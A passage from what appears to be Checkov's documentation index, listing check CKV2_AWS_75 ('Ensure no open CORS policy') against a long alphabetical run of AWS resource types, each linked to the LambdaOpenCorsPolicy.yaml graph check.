[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1140 | CKV2_AWS_75 | resource | aws_opensearch_domain_policy                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1141 | CKV2_AWS_75 | resource | aws_opensearch_domain_saml_options                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1142 | CKV2_AWS_75 | resource | aws_opensearch_inbound_connection_accepter                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1143 | CKV2_AWS_75 | resource | aws_opensearch_outbound_connection                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1144 | CKV2_AWS_75 | resource | aws_opensearch_package                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1145 | CKV2_AWS_75 | resource | aws_opensearch_package_association                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1146 | CKV2_AWS_75 | resource | aws_opensearch_vpc_endpoint                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1147 | CKV2_AWS_75 | resource | aws_opensearchserverless_access_policy                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1148 | CKV2_AWS_75 | resource | aws_opensearchserverless_collection                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1149 | CKV2_AWS_75 | resource | aws_opensearchserverless_lifecycle_policy                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1150 | CKV2_AWS_75 | resource | aws_opensearchserverless_security_config                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1151 | CKV2_AWS_75 | resource | aws_opensearchserverless_security_policy                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1152 | CKV2_AWS_75 | resource | aws_opensearchserverless_vpc_endpoint                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1153 | CKV2_AWS_75 | resource | aws_opsworks_application                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1154 | CKV2_AWS_75 | resource | aws_opsworks_custom_layer                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1155 | CKV2_AWS_75 | resource | aws_opsworks_ecs_cluster_layer                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1156 | CKV2_AWS_75 | resource | aws_opsworks_ganglia_layer                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1157 | CKV2_AWS_75 | resource | aws_opsworks_haproxy_layer                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1158 | CKV2_AWS_75 | resource | aws_opsworks_instance                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1159 | CKV2_AWS_75 | resource | aws_opsworks_java_app_layer                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1160 | CKV2_AWS_75 | resource | aws_opsworks_memcached_layer                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1161 | CKV2_AWS_75 | resource | aws_opsworks_mysql_layer                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1162 | CKV2_AWS_75 | resource | aws_opsworks_nodejs_app_layer                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1163 | CKV2_AWS_75 | resource | aws_opsworks_permission                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1164 | CKV2_AWS_75 | resource | aws_opsworks_php_app_layer                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1165 | CKV2_AWS_75 | resource | aws_opsworks_rails_app_layer                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1166 | CKV2_AWS_75 | resource | aws_opsworks_rds_db_instance                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1167 | CKV2_AWS_75 | resource | aws_opsworks_stack                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1168 | CKV2_AWS_75 | resource | aws_opsworks_static_web_layer                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1169 | CKV2_AWS_75 | resource | aws_opsworks_user_profile                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1170 | CKV2_AWS_75 | resource | aws_organizations_account                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1171 | CKV2_AWS_75 | resource | aws_organizations_delegated_administrator                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1172 | CKV2_AWS_75 | resource | aws_organizations_organization                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1173 | CKV2_AWS_75 | resource | aws_organizations_organizational_unit                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1174 | CKV2_AWS_75 | resource | aws_organizations_policy                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1175 | CKV2_AWS_75 | resource | aws_organizations_policy_attachment                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1176 | CKV2_AWS_75 | resource | aws_organizations_resource_policy                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1177 | CKV2_AWS_75 | resource | aws_osis_pipeline                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1178 | CKV2_AWS_75 | resource | aws_paymentcryptography_key                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1179 | CKV2_AWS_75 | resource | aws_paymentcryptography_key_alias                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1180 | CKV2_AWS_75 | resource | aws_pinpoint_adm_channel                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1181 | CKV2_AWS_75 | resource | aws_pinpoint_apns_channel                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1182 | CKV2_AWS_75 | resource | aws_pinpoint_apns_sandbox_channel                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1183 | CKV2_AWS_75 | resource | aws_pinpoint_apns_voip_channel                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1184 | CKV2_AWS_75 | resource | aws_pinpoint_apns_voip_sandbox_channel                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1185 | CKV2_AWS_75 | resource | aws_pinpoint_app                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1186 | CKV2_AWS_75 | resource | aws_pinpoint_baidu_channel                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1187 | CKV2_AWS_75 | resource | aws_pinpoint_email_channel                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1188 | CKV2_AWS_75 | resource | aws_pinpoint_email_template                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1189 | CKV2_AWS_75 | resource | aws_pinpoint_event_stream                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1190 | CKV2_AWS_75 | resource | aws_pinpoint_gcm_channel                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1191 | CKV2_AWS_75 | resource | aws_pinpoint_sms_channel                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1192 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_configuration_set                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1193 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_opt_out_list                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1194 | CKV2_AWS_75 | resource | aws_pinpointsmsvoicev2_phone_number                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1195 | CKV2_AWS_75 | resource | aws_pipes_pipe                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1196 | CKV2_AWS_75 | resource | aws_placement_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1197 | CKV2_AWS_75 | resource | aws_prometheus_alert_manager_definition                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1198 | CKV2_AWS_75 | resource | aws_prometheus_rule_group_namespace                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1199 | CKV2_AWS_75 | resource | aws_prometheus_scraper                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1200 | CKV2_AWS_75 | resource | aws_prometheus_workspace                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1201 | CKV2_AWS_75 | resource | aws_proxy_protocol_policy                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1202 | CKV2_AWS_75 | resource | aws_qldb_ledger                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1203 | CKV2_AWS_75 | resource | aws_qldb_stream                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1204 | CKV2_AWS_75 | resource | aws_quicksight_account_subscription                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1205 | CKV2_AWS_75 | resource | aws_quicksight_analysis                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1206 | CKV2_AWS_75 | resource | aws_quicksight_dashboard                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1207 | CKV2_AWS_75 | resource | aws_quicksight_data_set                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1208 | CKV2_AWS_75 | resource | aws_quicksight_data_source                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1209 | CKV2_AWS_75 | resource | aws_quicksight_folder                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1210 | CKV2_AWS_75 | resource | aws_quicksight_folder_membership                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1211 | CKV2_AWS_75 | resource | aws_quicksight_group                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1212 | CKV2_AWS_75 | resource | aws_quicksight_group_membership                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1213 | CKV2_AWS_75 | resource | aws_quicksight_iam_policy_assignment                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1214 | CKV2_AWS_75 | resource | aws_quicksight_ingestion                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1215 | CKV2_AWS_75 | resource | aws_quicksight_namespace                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1216 | CKV2_AWS_75 | resource | aws_quicksight_refresh_schedule                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1217 | CKV2_AWS_75 | resource | aws_quicksight_template                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1218 | CKV2_AWS_75 | resource | aws_quicksight_template_alias                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1219 | CKV2_AWS_75 | resource | aws_quicksight_theme                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1220 | CKV2_AWS_75 | resource | aws_quicksight_user                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1221 | CKV2_AWS_75 | resource | aws_quicksight_vpc_connection                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1222 | CKV2_AWS_75 | resource | aws_ram_principal_association                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1223 | CKV2_AWS_75 | resource | aws_ram_resource_association                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1224 | CKV2_AWS_75 | resource | aws_ram_resource_share                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1225 | CKV2_AWS_75 | resource | aws_ram_resource_share_accepter                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1226 | CKV2_AWS_75 | resource | aws_ram_sharing_with_organization                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1227 | CKV2_AWS_75 | resource | aws_rbin_rule                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1228 | CKV2_AWS_75 | resource | aws_rds_certificate                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1229 | CKV2_AWS_75 | resource | aws_rds_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1230 | CKV2_AWS_75 | resource | aws_rds_cluster_activity_stream                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1231 | CKV2_AWS_75 | resource | aws_rds_cluster_endpoint                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1232 | CKV2_AWS_75 | resource | aws_rds_cluster_instance                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1233 | CKV2_AWS_75 | resource | aws_rds_cluster_parameter_group                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1234 | CKV2_AWS_75 | resource | aws_rds_cluster_role_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1235 